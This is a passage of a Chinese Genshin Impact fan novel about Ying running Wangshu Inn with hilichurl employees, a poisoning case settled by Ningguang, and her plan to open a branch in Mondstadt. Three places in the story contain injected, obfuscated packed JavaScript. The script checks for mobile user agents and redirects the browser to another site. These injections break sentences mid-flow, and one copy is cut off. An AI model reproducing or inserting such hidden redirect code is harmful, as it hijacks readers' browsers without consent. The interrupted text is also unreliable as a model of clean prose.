凝光微笑："并非独门，确是毒门。此家族在璃月商界，便是以这般手段闻名。" 荧心想，这什么奇葩家族啊？ 派蒙小声："毒门生意，太可怕了。" 凝光又拿出一份文件："而且，他这次太过着急，留下了诸多破绽。" 荧接过去，是前日散户们的证词汇总。 凝光："五人目击，皆指向周扬。而且"她看向门口，"百晓。" 百晓推门，二号机走了进来。 荧愣住："二号机？" 百晓："今早我们便去客栈寻它了。" 二号机走到荧跟前，跳了段舞。 荧看懂了："你说前日有个陌生人靠近过莲花酥桌子？而且手在盘子上停了很久？" 二号机用力点头。 凝光微笑："丘丘人对陌生气息和异常动作的敏感度，远胜人类——二号机整日在客栈干活，谁是客人谁是生面孔，它分得一清二楚。" 她拍拍手，百晓推开另一扇门。几个千岩军押着五个人进来，其中一个，正是周扬。 凝光看着文件，淡淡说："望月客栈，三年前向我借款12万摩拉，约定若违反商业契约，我有权收回店铺。" 她抬眼看向周扬："投毒陷害竞争对手，可算违约？" 周扬脸色瞬间煞白。 二号机立刻跳起来，指着周扬跳了段就是他的舞。 周扬声音发抖："你们诬陷！" 凝光端起茶杯："周扬，前日你为何去望舒客栈？" 周扬："我就是路过。" 凝光："路过，为何要靠近食物？" 周扬："我拿了块莲花酥。" 凝光放下茶杯，拿出白术的鉴定报告："白术先生的鉴定，投毒手法是直接撒粉末。而你，恰好靠近过食物。五位散户目击，一位丘丘人证实，钟离先生亦发现了粉末痕迹。况且，你的望月客栈近来生意惨淡。望舒客栈新政之后声名鹊起，你心生嫉妒，意图陷害。" 周扬终于撑不住了，一屁股坐地上："我只是想让她臭名昭著！我没想害死人！" 他突然抬头，指着荧歇斯底里地喊："你凭什么！你客栈那么破！设施那么差！凭什么生意比我好！" 荧平静地看着他。这人也太不专业了吧，这么快就招了？ 她淡淡说："因为我虽然穷，但我不害人。" 派蒙在旁边补了一刀："而且我们有丘丘人员工，你有吗？" 周扬被气得说不出话。 凝光挥手，千岩军把周扬押了出去。 房间安静下来。凝光重新坐回办公桌后："投毒之事已然查清。周扬自会受到律法制裁。" 荧松了口气："多谢凝光大人。" 凝光微笑："不必谢我。我不过是按契约行事罢了。" 她拿出另一份文件。 荧接过去，脸色微变。这是一份债务合同，望月客栈欠凝光12万摩拉。 派蒙："所以您是债主？" 凝光："我是来收店铺的。周扬投毒害人，已违商业契约。按照约定，我有权收回其店铺抵债。" 派蒙： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047972|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "这也行？！" 凝光："契约既成，当履行之。" 荧终于明白了。 好家伙！凝光这是一箭双雕，既解决了投毒案，又合法收购了望月客栈的地皮！不愧是天权星，商业手段太厉害了。 凝光又说："此事传扬出去，于你客栈有利无害。众人皆知你是受害者，且处理得当。" 荧："凝光大人是说，这能提升客栈的信誉度？" 凝光："自然。危机之中，往往蕴藏转机。" 荧心里激动。凝光看得真透彻！ 凝光又拿出一个盒子："这个给你。" 荧打开一看，是一份证明文件。璃月商户协会认证优质商户。 派蒙："这是啥？" 凝光:"有了这个认证，你在璃月做生意会方便许多。诸多官方项目，优先考虑认证商户。而且，这望舒客栈，如今倒是比从前有趣多了。丘丘人员工，史莱姆抚摸，前任掌柜可没想到这些。" 荧："多谢凝光大人！" 凝光微笑："日后若有商业上的难处，可来月海亭寻我。" 荧鞠躬告辞。 走出月海亭，派蒙才敢说话："好可怕的气场。" 荧："是啊。不过她对我挺照顾的。" 派蒙:"为什么呀？" 荧摇头:"不知道，但天下没有免费的午餐。她给我这么多好处，肯定有原因。" 接下来一周，果然如凝光所言，客栈客流量翻了好几倍——璃月时报的头版报道、散户们的口碑相传，效果比预想的还好。 投毒案传开了，但传的是正面的。 听说望舒客栈被竞品陷害！ 对啊，那个周扬太缺德了！ 不过荧老板处理得很好，第一时间找白术检查，还报了千岩军。而且她还给受惊的客人发补偿券，很负责！ 老李带着朋友来："我跟你说，这家客栈老板人好，东西也好！" 张婶也带着姐妹："对对对，而且还有丘丘人表演，很有特色！" 赵叔："我都办月卡了，每周来两次！" 荧站在前台，看着满座的客人，终于松了口气。 派蒙趴在账本上："让我看看，这周赚了多少。" 荧："2万摩拉。" 派蒙眼睛发光："哇！投毒案反而让我们火了！" 荧笑了:"这就叫转危为机。" 派蒙："转危为机？" 荧想了想："就是遇到坏事不要慌，想办法把坏事变成好事。快速反应，诚恳道歉，然后全面整改。这样客人会更信任你。" 派蒙似懂非懂地点头："听起来好厉害！" 傍晚，百晓又来了。 "荧掌柜，凝光大人让我再跑一趟。" 荧："请进。" 百晓："凝光大人让我问你一个问题，你可知前任掌柜为何离开望舒客栈？" 荧愣住："淮安先生和菲尔戈黛特？我不知道。他们留了封信说有要事离开，但没说去哪。" 百晓点头:"凝光大人说，他们并非失踪，只是在做一件极为重要之事。待事成之日，或许会归来。" 派蒙："什么重要的事？" 百晓摇头："这个在下也不清楚。" 说完，百晓就走了。 荧站在门口。 凝光认识淮安和菲尔戈黛特，她说他们在做重要的事。 重要的事？难道和钟离说的"联系"有关？这客栈背后到底藏着什么？ 菲尔戈黛特是之前的主要经营者，不过她经营得也不太好，客栈才欠下50万债务。 但凝光为什么特地让百晓来传话？她想表达什么？ 算了，想不通。现在先还债，其他的以后再说。 派蒙："所以淮安和菲尔戈黛特没失踪？" 荧叹气："应该没失踪，但他们在做什么，我也不知道。" 晚上客栈打烊后，荧坐在二楼账房，翻这周的账本。 账本余额从1.785万涨到了3.785万。债务还剩30万，北国银行25万，商会免息贷款5万。 派蒙打哈欠："我困了。" 荧合上账本。还剩30万债务。 她想起那个北国银行专员临走前的眼神，总觉得不太对劲。还有凝光，给证书给得太爽快了，肯定有后续。 荧揉了揉太阳穴。 望舒客栈的底细她再清楚不过 —— 协助魈降魔的隐蔽据点，专门收集璃月各地的情报。凝光这次借着投毒案找上门，明摆着是想把她划入自己的情报网络。但她只想安安分分还债赚钱，那些主线剧情里的大风大浪，能躲多远就躲多远。 她不想参合。 而且最让她在意的是，达达利亚到现在都没出现。 按剧情，帝君遇刺后，应该是达达利亚帮她脱离千岩军的追捕。但那天根本没见到他，最后是钟离帮她消除的通缉。 剧情变了？还是达达利亚压根没来璃月？ 荧摇摇头。算了，想太多。公子不出现更好，她就想安安静静还债赚钱，别的都别来烦她。 二号机端着热水进来。 荧接过水杯："谢了。明天让初号机去璃月港采购的时候，顺便打听打听，清泉镇那边有没有好位置可以开分店。" 二号机点点头。 荧:"不能把鸡蛋放一个篮子里。万一璃月这边出事，我还能跑蒙德。而且说不定能在蒙德赚更多钱。" 她喝了口水，吹灭油灯。 反正她的目标很简单：还债，赚钱，活下去，别卷进剧情里。 16.客栈日常（上） 验收前一天 荧站在一楼平台上，二十一只丘丘人乱糟糟地挤在一起。 她头疼不已 —— 这帮家伙，整整演练了两周，怎么一到要收尾的关头，反倒忘了队形？ “站好！分三组！餐饮组站左边，零售组在中间，茶馆组去右边！” 丘丘人们慌慌张张地调整位置，场面愈发混乱。 十五号机径直挤到了十二号机身边，完全站错了队伍。 “十五号机你跑错了！茶馆组在右边！”十五号机眨了眨眼：“呀？”（啊？）它慌忙往回跑，却一头撞上十七号机，两只丘丘人双双摔在地上。 荧扶着额头暗自叹气 —— 求求了，明天验收可千万别出这种岔子。 派蒙飘到她身边：“荧，你紧张吗？” 荧苦笑：“能不紧张吗？两周的时间和精力都投进去了，要是明天验收不过，前面所有功夫全白费。” 她在心里快速过了一遍全流程：验收→千岩军审核→办理工会证→商会正式雇佣→三个月试用期。 任何一环掉链子，这单生意就黄了，之前的投入也打了水漂。 荧深吸一口气，沉声道：“开始最后一次演练。餐饮组，动手做菜！”初号机立刻带着七号机到十一号机走进厨房。 几分钟后，七号机端着一盘炒青菜走了出来。 荧拿起筷子尝了一口 —— 嗯，口感还行。 再尝第二口，她眉头一皱：等等，怎么这么咸？ “谁负责调味的？” 八号机怯生生地举起手：“呀...” 荧扫了一眼灶台，见盐罐和糖罐紧紧挨在一起，瞬间明白了缘由：“八号机，你把盐当糖放了吧。” 八号机委屈地点了点头，垂着脑袋不敢吭声。 荧没有发火，思索片刻后安排：“明天验收，八号机专门负责洗菜切菜，所有调味工作全部交给初号机把关。” 初号机郑重点头，拉着八号机返回厨房重新练习。 派蒙疑惑：“你怎么不生气呀？” 荧淡淡道：“生气有用吗？现在最重要的是想办法规避问题，不让它明天再出错。” 零售组演练时，十二号机正对着找零难题犯愁。 “呀呀，呀呀呀呀。”（一共 30 摩拉，您给了 50 摩拉。） 它掰着胖乎乎的手指反复数着：50 减 30...10 秒、20 秒、30 秒过去，十二号机还在原地掰手指，毫无头绪。 荧沉默地看着，一脸无奈。 派蒙小声嘀咕：“它数学好像真的不太行。” 荧观察片刻发现，这小家伙虽然数学糟糕，但刚才理货时速度快、分类也整齐，倒是有自己的长处。 “十二号机，明天你专门负责理货，收银工作交给十三号机。” 二号机颔首，立刻调整了小组分工。派蒙夸赞：“你还挺会因材施教的。” 荧挑眉：“废话，不会安排怎么开客栈？每个人都有擅长的事，合理调配就行。” 她嘴角抽了抽：这不就是基本的人员配置逻辑吗，麦肯锡第一周培训就讲过。 茶馆组演练时，十七号机端茶的速度慢得让人着急。 但荧留意到，它的手格外稳，茶盘里的茶水一滴都没洒，而且态度恭敬端正，全程专注。“茶馆本就不追求速度，讲究稳妥。明天提前把茶备好，缩短端茶的距离就行。” 三号机憨憨点头，记下了这个注意事项。 演练结束，荧让所有丘丘人重新集合。 “明天就是正式验收，商会和千岩军都会来检查。通过了，你们就能正式上岗工作，明白吗？” “呀！” 二十一只丘丘人齐声应答，声音洪亮。 荧放缓语气：“今晚每人加一份烤史莱姆，好好休息，养足精神。” “呀呀呀！” 丘丘人们围着荧转圈欢呼，平台上瞬间热闹起来。 荧回到账房，拿出提前备好的演练笔记 —— 上面详细写着验收流程、应急预案和可能出现的问题。 她把笔记拍得啪啪响，在心里默念：再小的项目也要有 plan B，这是职场铁律。逐字逐句核对一遍，确认没有遗漏后，才安心去休息。 第二天一早，初号机急匆匆冲进房间：“呀呀呀！”（他们来了！） 荧火速洗漱完毕，换上一身干净衣服 —— 见客人总得整洁得体。 下楼时，一楼平台上已经站了不少人：陈先生带着两名商会成员，还有两位神情严肃的千岩军。 荧快步走上前，挤出得体的笑容：“陈先生早，各位辛苦了。” 陈先生侧身介绍：“荧老板，这位是张队长和李副队，负责本次千岩军审核工作。” 张队长微微颔首，语气严谨：“我们要确保这些丘丘人符合璃月的安全和卫生标准，才能颁发工会证。” 荧点头：“明白，我已经全部准备好了。” 她给初号机递了个眼色，初号机立刻指挥七号机到二十一号机迅速列队，三排站姿标准整齐，丝毫不显慌乱。 张队长眼中闪过一丝赞许：“训练有素。” 陈先生抬手示意：“那就开始吧。” 餐饮组率先展示。 八号机专注地洗菜切菜，动作认真利落；七号机负责掌勺，手法虽生疏，但流程完整规范； 初号机全程站在一旁把关调味，确保每道菜的味道稳定。 张队长拿起筷子尝了一口，点头道：“合格。分工明确，符合卫生标准。” 李副队在记录本上写下：餐饮组，通过。 零售组接着演练。 十二号机专注于理货，动作麻利，把货物摆放得整整齐齐、分类清晰； 十三号机负责收银，速度虽稍慢，但每一笔找零都算得准确无误。 张队长看后评价：“合理分工，各展所长。零售组，通过。” 最后是茶馆组。 十七号机端茶的速度依旧偏慢，但因提前缩短了距离，茶水送到时仍保持着适宜的温度，且全程手稳如定，一滴都没洒，态度也恭敬周到。 张队长颔首：“稳重是茶馆服务的核心优点。茶馆组，通过。” 陈先生站起身，笑着对荧说：“荧老板，你的培训很专业，15 只丘丘人全部合格。” 李副队合上记录本：“千岩军审核通过，可前往总务司办理工会证。” 荧长长松了口气，悬着的心终于落地：“谢谢各位，我们今天就去办理工会证。” 张队长补充道：“办好工会证后，商会方可正式雇佣这些丘丘人。” 陈先生接口：“对，试用期三个月，表现合格即可转正。” 荧点头应下：“明白。另外，试用期间我会定期派人去商铺检查丘丘人的工作情况，确保没有违规行为。” 她转向五号机和六号机：“你们俩以后每周负责巡查，五号机顺带配送食材，六号机记录巡查中发现的问题。” 两只丘丘人齐声应答：“呀！” 陈先生赞许道：“荧老板考虑得真周到。” 验收结束后，陈先生和千岩军一行人离开了客栈。 荧转头对派蒙说：“走，去璃月港。今天就把丘丘人办工会证流程走了，再顺带它们去白术那里做体检。” 派蒙诧异：“现在就去吗？” 荧：“嗯，早办完早安心，免得夜长梦多。” 她带着 15 只丘丘人，匆匆赶往璃月港。 到了总务司，办事员看到浩浩荡荡的丘丘人队伍，明显愣了一下：“这是...？” 荧递上千岩军审核文件：“这些丘丘人已经通过千岩军审核，想办理工会证。” 办事员核对文件后说道：“办理工会证需要健康证明，您带来了吗？” 荧：“还没，我一会儿就带它们去不卜庐做体检，拿到健康证就过来。” 办事员：“那您先填写这些基本信息，健康证拿到后，三天内来领取工会证即可。另外，每只丘丘人需缴纳 50 摩拉手续费。” 荧接过表格，仔细填写 15 只丘丘人的编号、工作用途和雇主信息，填完后递给办事员。 办事员核算费用：“15 只丘丘人，总计 750 摩拉。” 荧心疼地付了钱，心里暗自吐槽 —— 璃月的官僚流程可真够复杂的，游戏里压根没体现这么麻烦。好在整体还算顺利，她带着丘丘人转身赶往不卜庐。 不卜庐内，白术正在整理药材，见荧带人进来，笑着打招呼：“荧掌柜，又见面了。” 荧说明来意：“白术先生，感谢您上次的出诊，我是来和您结算昨天诊金的，另外还顺带 15 只我们培训过的丘丘人来给您做体检，他们也需要健康证办理工会证。” 白术点头：“紧急出诊，按规矩是双倍诊金，共计 6000 摩拉。” 荧脸色微白，知道你白术坑，但是没想到那么贵，不过既然答应了双倍诊金就算再肉痛也要给。 白术话锋一转：“至于丘丘人的体检，我们之前有过约定 —— 我免费为它们体检，作为交换，我要记录它们的身体数据，用于我的魔物体质研究。” 荧眼睛一亮：“对！我差点忘了这事，太好了！” 白术笑意更深：“15 只丘丘人我全部免费体检，但我要详细记录它们的体温、肌肉密度、牙齿结构等数据，绝不伤害它们。所以他们需要在我这待上一周后你才能带回去。” 荧立刻应下：“成交！只要免费，您尽管研究。” 她心里暗想：免费就行，反正又不解剖它们，爱研究啥研究啥。 白术收了诊金、开了收据，转头看向 15 只丘丘人，眼中瞬间闪过兴奋的光芒：“来，先从这只开始。” 他指着七号机，七号机乖乖走上前。 白术拿出各种仪器，开始细致测量，嘴里还念念有词：“嗯... 体温比普通丘丘人低 2 度，很有意思... 肌肉密度也和野生丘丘人不同...” 他越研究越兴奋，掏出小本子疯狂记录。长生在一旁翻着白眼吐槽：“你看，又来了。上次研究史莱姆，整间药铺都沾满了黏液；这次研究丘丘人，别把药铺拆了就好。” 白术头也不抬：“安静点，长生。这是难得的研究机会。” 他又指向八号机：“你，过来。” 八号机乖乖上前，白术示意：“张嘴。” 八号机疑惑地 “呀？” 了一声，还是听话地张开了嘴。 白术拿着小镜子仔细观察它的牙齿：“咦... 臼齿磨损程度很低，说明最近饮食偏软...” 他转头问荧：“你平时给它们吃什么？” 荧：“他们自己做的烤史莱姆。” 白术眼睛更亮了：“丘丘人厨艺，这个课题值得深入研究！” 长生扶着额头叹气：“求你了，别再研究新课题了。” 白术完全不理会长生，继续给其他丘丘人体检。 轮到十二号机时，白术拿出一根清心草：“闻一下。” 十二号机凑过去闻了闻，突然一口咬了下去，嚼了嚼咽了下去。 白术愣住了，长生捂脸：“我就知道会出事。” 荧也傻了眼：“那... 那是什么药材？不会有事吧？” 白术回过神，淡定道：“清心而已，没毒，就是味道有点苦。” 十二号机吧唧着嘴，一脸嫌弃地 “呀呀呀” 叫着（好苦...）。 白术若有所思地记录：“丘丘人会主动食用药草，这一习性也值得记录。” 他又拿出一朵霓裳花，想再试一次，十二号机立刻警惕地往后退。 荧赶紧上前阻止：“白术先生，体检就体检，别拿我的员工做实验了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到客栈时已是傍晚，荧刚想回房休息，就听到厨房传来一阵喧哗，夹杂着丘丘人的叫声、香菱的惊呼，还有锅巴的 “嘟嘟” 声。 “呀呀呀！” “锅巴，别闹！” “哎呀，不好！”荧赶紧冲进厨房，眼前的景象让她扶额 —— 香菱在炉灶前手忙脚乱，锅巴缩在角落，尾巴耷拉着，嘟嘟嘟叫着，一副 “不关我事” 的样子，初号机拿着铲子站在一旁，满脸不知所措。 最关键的是，炉子上的锅里冒着诡异的紫色烟雾，还在咕嘟咕嘟冒泡。 荧无奈问道：“这是在干嘛呢？” 香菱转头，满脸尴尬地挠头：“荧姐！不好意思，我想研发新甜点，结果... 好像出了点意外。” 荧走近一看，锅里是一团紫中带蓝、还闪着微光的不明物体，散发着奇怪又混杂的香味。 派蒙捂着鼻子：“这是什么味道啊？” 香菱解释：“我想做‘史莱姆果冻甜心’，用冰史莱姆凝液做果冻，再加上落落莓和薄荷调味... 结果锅巴不小心把雷史莱姆凝液也倒进去了，它们就产生了奇怪的反应。” 荧扶额：“所以这锅里是冰、雷两种史莱姆凝液的混合物？” 香菱点头：“对... 然后它们就变成这样了。” 话音刚落，锅里的混合物 “啵” 的一声炸开，紫色液体溅了一地。 初号机赶紧往后退，惊呼：“呀！” 荧无奈道：“香菱，你能不能先把火关了？” 香菱慌忙关掉火源，锅里的混合物慢慢平静下来，但颜色依旧诡异。 派蒙好奇又警惕：“这东西... 能吃吗？” 香菱拿起勺子舀了一点，仔细闻了闻：“好像... 还挺香的？”说着就尝了一小口。 荧急忙阻止：“喂！小心有毒！” 香菱咂咂嘴：“唔... 有点麻麻的，但味道还不错！甜中带酸，还有薄荷的清凉感... 就是电流感太强了。” 话音刚落，她的头发 “炸” 了起来，明显是被电到了。 荧扶额：“你看，都被电到了。” 香菱毫不在意地摆摆手：“没事没事！我经常被锅巴电，都习惯了！” 她兴奋地说：“荧姐，这个可以当成新菜品！叫‘雷光果冻’怎么样？” 荧果断拒绝：“不怎么样。我可不想我的客人被电成爆炸头。” 香菱瞬间失落下来：“好吧... 那我再改进改进。” 荧叹气：“你研发可以，但能不能小心点，别把我的厨房炸了？” 香菱立刻点头：“可是望舒客栈的食材特别新鲜，而且你这里还有冰史莱姆，很适合做果冻！” 荧无奈妥协：“... 行行行，你可以在这里研发，但必须小心，初号机在旁边盯着你，不许再出乱子。” 香菱立刻保证：“没问题！下次我一定更小心！” 她开始忙着收拾厨房残局，锅巴依旧缩在角落，小声嘟嘟叫着。 荧转向初号机，叮嘱道：“你在旁边看好她，别让她真把厨房拆了。” 初号机满脸委屈地 “呀呀呀” 叫着（我也管不住她啊...）。 荧拍了拍它的肩膀：“尽力就行。” 说完便转身走出了厨房。 派蒙飘过来：“荧，你都不生气吗？厨房都被折腾成这样了。” 荧淡淡道：“生气有什么用？至少她没把厨房炸没。而且香菱的厨艺确实不错，以后说不定能合作开发新菜品，给客栈添点特色。” 派蒙感慨：“你还真是... 挺能忍的。” 荧苦笑：“没办法，开客栈就是这样，什么乱七八糟的事都能遇到，总不能事事都生气。” 回到账房，荧拿出账本，仔细更新了当天的支出数据。 17.客栈日常（下） 一周后的一早，荧带着白术给的健康证，再次前往总务司领取工会证。 办事员核对文件无误后，递给她 15 张崭新的工会证：“这些丘丘人现在可以正式上岗工作了。” 荧接过工会证，心里彻底踏实下来 —— 总算把所有手续都办齐了。 派蒙："那我们现在回客栈？" 荧想了想："不，先去北国银行看看。" 派蒙："你要借钱？" 荧："不是。我就是想确认一下贷款情况。" 她走向北国银行。 到了银行，大厅里职员们在忙碌。 荧走到前台："你好。" 前台小姐看到她："荧小姐，是来还款的吗？" 荧："...不是。我就是来确认一下贷款情况。" 前台小姐翻开记录本："哦，您的25万摩拉贷款，年利率8%，还款期限两年。目前一切正常。" 荧松了口气——还好没出什么幺蛾子。 荧："你们璃月的负责人在吗？" 前台小姐："执行官大人最近去绝云间谈生意了，暂时不在港口。" 荧心里一跳——去绝云间了？这么快就开始搞事了？ 她心里：这个二傻子自己去找仙人了？ 荧："哦，那没事了。谢谢。" 她走出银行。 派蒙："怎么了？" 荧："没事。" 她往回走。 路上，听到几个商人在议论： "听说七星和仙人的关系最近有点紧张。" "是啊，好像绝云间那边有愚人众在活动。" "不会出什么事吧？送仙典仪快到了。" 荧心里警觉起来——完了，主线真的要开始了。得赶紧跑路。 但她没多说，而是让派蒙先去联系陈先生，告诉陈先生丘丘人的手续都已办好，可以带着合同来客栈签约了。 陈先生很快就带着合同赶到了客栈。 “荧老板，工会证拿到了？” 荧把工会证递给他：“都在这里了，你过目。” 陈先生翻看了一遍，满意点头：“好，那我们现在签雇佣合同。” 他拿出 15 份合同，逐一说明：“三个月试用期，表现合格后转正。试用期间，每月食材配送费 150 摩拉 / 只，由你的员工负责配送。” 荧：“没问题，我安排五号机负责配送。” 陈先生：“好，那我们签字吧。” 荧快速翻阅合同，确认条款清晰、没有陷阱后，逐一签下自己的名字。 陈先生也签完字，把合同分给荧一份：“成交。那这 15 只丘丘人，我现在就带走安排工作。” 初号机、二号机、三号机分别走上前，和自己带的学员告别。 初号机拍了拍七号机的肩膀：“呀呀。”（好好干。） 二号机仔细整理了一下十二号机的衣服：“呀。”（记得我教你的。） 三号机递给十七号机一块烤史莱姆：“呀呀呀。”（路上饿了吃。） 荧站在一旁，看着这温馨的场面，心里泛起一丝不舍，但也清楚这是生意，只能压下情绪。 陈先生刚带着 15 只丘丘人走出客栈大门，一道清冷的声音突然传来：“你竟将魔物交由他人雇佣？” 荧抬头一看，只见魈站在门口，眼神冰冷地盯着那 15 只丘丘人，周身散发着压迫感。 陈先生被这强大的气势吓了一跳，连忙问道：“这... 这位仙人是？” 魈没有理会陈先生，目光紧紧锁定荧：“回答我，这些丘丘人，你竟交由他人雇佣？” 荧快步走上前，拿出工会证递给他：“魈大人，这些丘丘人已经通过了千岩军的严格审核，拿到了璃月正式的工会证，现在是合法劳工，并非野生魔物。” 魈接过工会证，仔细翻看后，眉头依旧紧锁：“合法？丘丘人本质仍是魔物，你就不怕它们失控暴走，伤及无辜？” 荧从容解释：“我已经训练了它们两周，它们性格稳定，毫无攻击性。而且我会定期派人巡查，确保它们不会出问题。再说了，你不是也经常看到初号机他们在下面招待客人嘛，你近期吃的杏仁豆腐也都是初号机或者三号机制作的。” 魈盯着她看了几秒，语气严肃地警告：“确保它们安分守己，不出任何事端。否则，我会亲自处理。” 他把工会证还给荧，转身准备离开，又停下补充了一句：“璃月最近不太平，你多留意客栈周边动静。”话音未落，身影便化作一道残影，消失在夜色中。 陈先生长长松了口气，拍着胸口道：“吓死我了... 仙人的气势真是太恐怖了。” 荧偷偷翻了个白眼，心里腹诽 —— 大哥你快去准备对付奥赛尔吧，别在这儿盯着我的员工不放了。 不过魈说 “璃月最近不太平”，看来他也察觉到了异常。 荧心里清楚，主线剧情，快要开始了。 陈先生带着 15 只丘丘人离开了，平台上只剩下六只老员工。 荧定了定神，对它们说：“好了，我们继续营业，恢复正常节奏。” 派蒙飘过来：“荧，你看起来终于松了口气。” 荧点头：“当然，几周的努力总算有了结果。接下来三个月，每月能收 2250 摩拉的食材配送费，这钱纯赚 —— 毕竟史莱姆都是丘丘人自己抓的，成本几乎为零。” 派蒙惊喜：“那三个月不就能把这次花的 6750 摩拉赚回来了？” 荧：“对，相当于只是提前垫付了一笔钱，并没有亏。” 她的心情好了不少，开客栈就是这样，既要精打细算，也要有长远规划。 接下来几天，客栈恢复了往日的日常节奏，生意平稳，收入也十分稳定。 某天下午钟离像往常一样来到客栈，端着茶杯走上平台，喝了一口后，眉头微微皱起。 “荧掌柜，这茶... 水质有异，口感欠佳。” 荧点头：“我知道。之前就听说后山有山泉水，口感极佳，只是一直没时间去找。” 钟离放下茶杯：“明日若你有空，我可陪你前往后山寻找。” 荧大喜：“太好了！明天上午可以吗？” 钟离颔首：“可。” 他顿了顿，又问道：“对了，荧掌柜，最近在忙些什么？” 荧：“忙着给丘丘人办工会证，总算都搞定了，15 只已经正式上岗工作了。” 钟离赞许道：“不错，行事稳妥。对了，你的账本能否让我看看？” 荧把账本递给他，钟离翻了几页，突然指着一处问道：“这里，‘神秘支出 1000 摩拉’，是何用途？” 荧尴尬地挠了挠头：“... 忘了。” 钟离继续往下翻，又发现一处：“这里还有‘神秘支出 500 摩拉’，同样没有说明。” 荧更尴尬了：“... 这个也忘了。” 钟离无奈地摇了摇头，从袖子里掏出一本书，递给荧 ——《璃月商业入门》。 “此书赠予你，你需好好学习正规的记账法，明细收支，方能知晓盈亏、长久经营。” 荧接过书，连忙道谢：“谢谢钟离先生。对了，最近璃月港气氛好像有点紧张，街上的商人都在议论纷纷，是不是出什么事了？” 钟离：“嗯，送仙典仪即将临近，我在帮忙筹备相关事宜。” 荧心里了然 —— 来了，送仙典仪，也就是帝君 “遇刺” 后举办的仪式，主线剧情的关键节点。 钟离又补充道：“往生堂的客卿工作，近来确实繁忙。” 荧表面平静地点头：“哦，那您倒是辛苦。” 心里却在疯狂吐槽：草，你这根本就是在筹备自己的葬礼吧。 钟离仿佛看穿了她的心思，看着她说道：“若是送仙典仪期间璃月港有什么变故，你不必过分担心，客栈这边会很安全。” 荧心里莫名有些发毛 —— 这老头该不会知道我清楚剧情吧？ 她强装镇定：“... 好的，谢谢钟离先生提醒。” 钟离站起身：“那我先告辞了，明日上午准时来带你去取山泉水。对了，今日的茶钱...” 荧无奈道：“记您账上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054623|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 钟离笑意温和：“多谢。” 他转身正要走，荧连忙提醒：“等等，钟离先生，您的账... 已经欠了 3000 摩拉了。” 钟离愣了一下，随即坦然道：“哦？竟已有这么多了吗？” 荧试探着问：“要不要先付一部分？” 钟离摸了摸袖子，一脸从容：“今日忘带钱了，下次一并结清。” 荧：“...” 钟离："荧掌柜放心，我向来守信。" 他潇洒地离开了。 荧看着他的背影，心里吐槽——你守个屁的信，最后肯定是要坑达达利亚买单。 不过算了，反正能收到钱就行。 她转身回账房。 派蒙飘过来："荧，钟离又忘带钱了？" 荧："习惯了。" 她翻出初号机打听的清泉镇情报。 盘算——钟离在筹备送仙典仪，街上都在议论气氛紧张，魈也说璃月不太平，公子去绝云间了... 接下来那个二傻子会去黄金屋，发现神之心不在，然后脑子一热就把奥赛尔放出来。 到时候璃月港大战，群玉阁都要砸下去。 最后会赢，但谁知道战斗波及范围有多大？剧情里虽然连璃月港都没伤到，但是谁知道会不会被蝴蝶，万一望舒客栈也被波及呢？ 她一个欠债30万的人，可不想卷进这种boss战里。 得赶紧跑。 荧翻看清泉镇的情报——店铺位置、租金、客流量... 很好。 清泉镇靠近蒙德城，她在蒙德有老朋友，做生意方便。 蒙德那边还没人搞丘丘人工会，可以垄断。 最重要的是——蒙德离璃月够远，奥赛尔再怎么闹也波及不到那边。 完美。 荧拿出纸笔，写计划： 第一步：这周去蒙德实地考察 第二步：找老朋友帮忙，租店铺 第三步：带初号机和二号机过去 第四步：复制望舒模式 必须在那个地主家的傻儿子搞事之前把蒙德分店开起来。 到时候璃月一乱，她就躲蒙德去。 等主线打完了，她再回来收拾烂摊子。 荧写完计划，贴在墙上。 又过了几天，生意还不错。 账本余额慢慢回升到4万多。 荧心情不错。 离30万债务还很远，但至少账上有4万多了，去开分店的基础资金也是够了。 而且三个月后，每月能收2250摩拉。 一年就是27000摩拉。 足够猥琐发育。 荧合上账本，看着窗外。 六只老员工还在忙碌。 初号机在厨房做饭。 二号机在前台接待。 三号机在茶水区收拾。 四号机在搬东西（小心翼翼的，生怕再撞到什么）。 五号机在认真扫地（难得没偷懒）。 六号机在帮忙洗碗。 还欠着债，但这种感觉...还不错。 有员工，有客人，有收入，有未来。 还有蒙德的Plan B。 派蒙飘过来："荧，你真的要去蒙德开分店？" 荧："对啊。蒙德那边有老朋友，做生意方便，而且可以多赚钱。" 派蒙:"也对，你之前在蒙德认识不少人。" 荧："嗯，有人脉不用白不用。而且蒙德客流量大，开分店肯定赚钱。" 派蒙："那你打算什么时候去？" 荧："最近就去。越快越好。" 派蒙："你还真是急着赚钱啊。" 荧："废话，欠着30万呢！" 派蒙没再多问。 荧松了口气，合上情报。 至少有了退路。 等蒙德分店开起来，璃月主线就算打起来，她也能躲过去。 最重要的就是——别把自己卷进boss战里。 荧握了握拳。 加油，璃月最强...开客栈的！ 18.蒙德之行（上） 次日一早，钟离来了。 "荧掌柜，昨日说好的山泉水，今日可有空？" 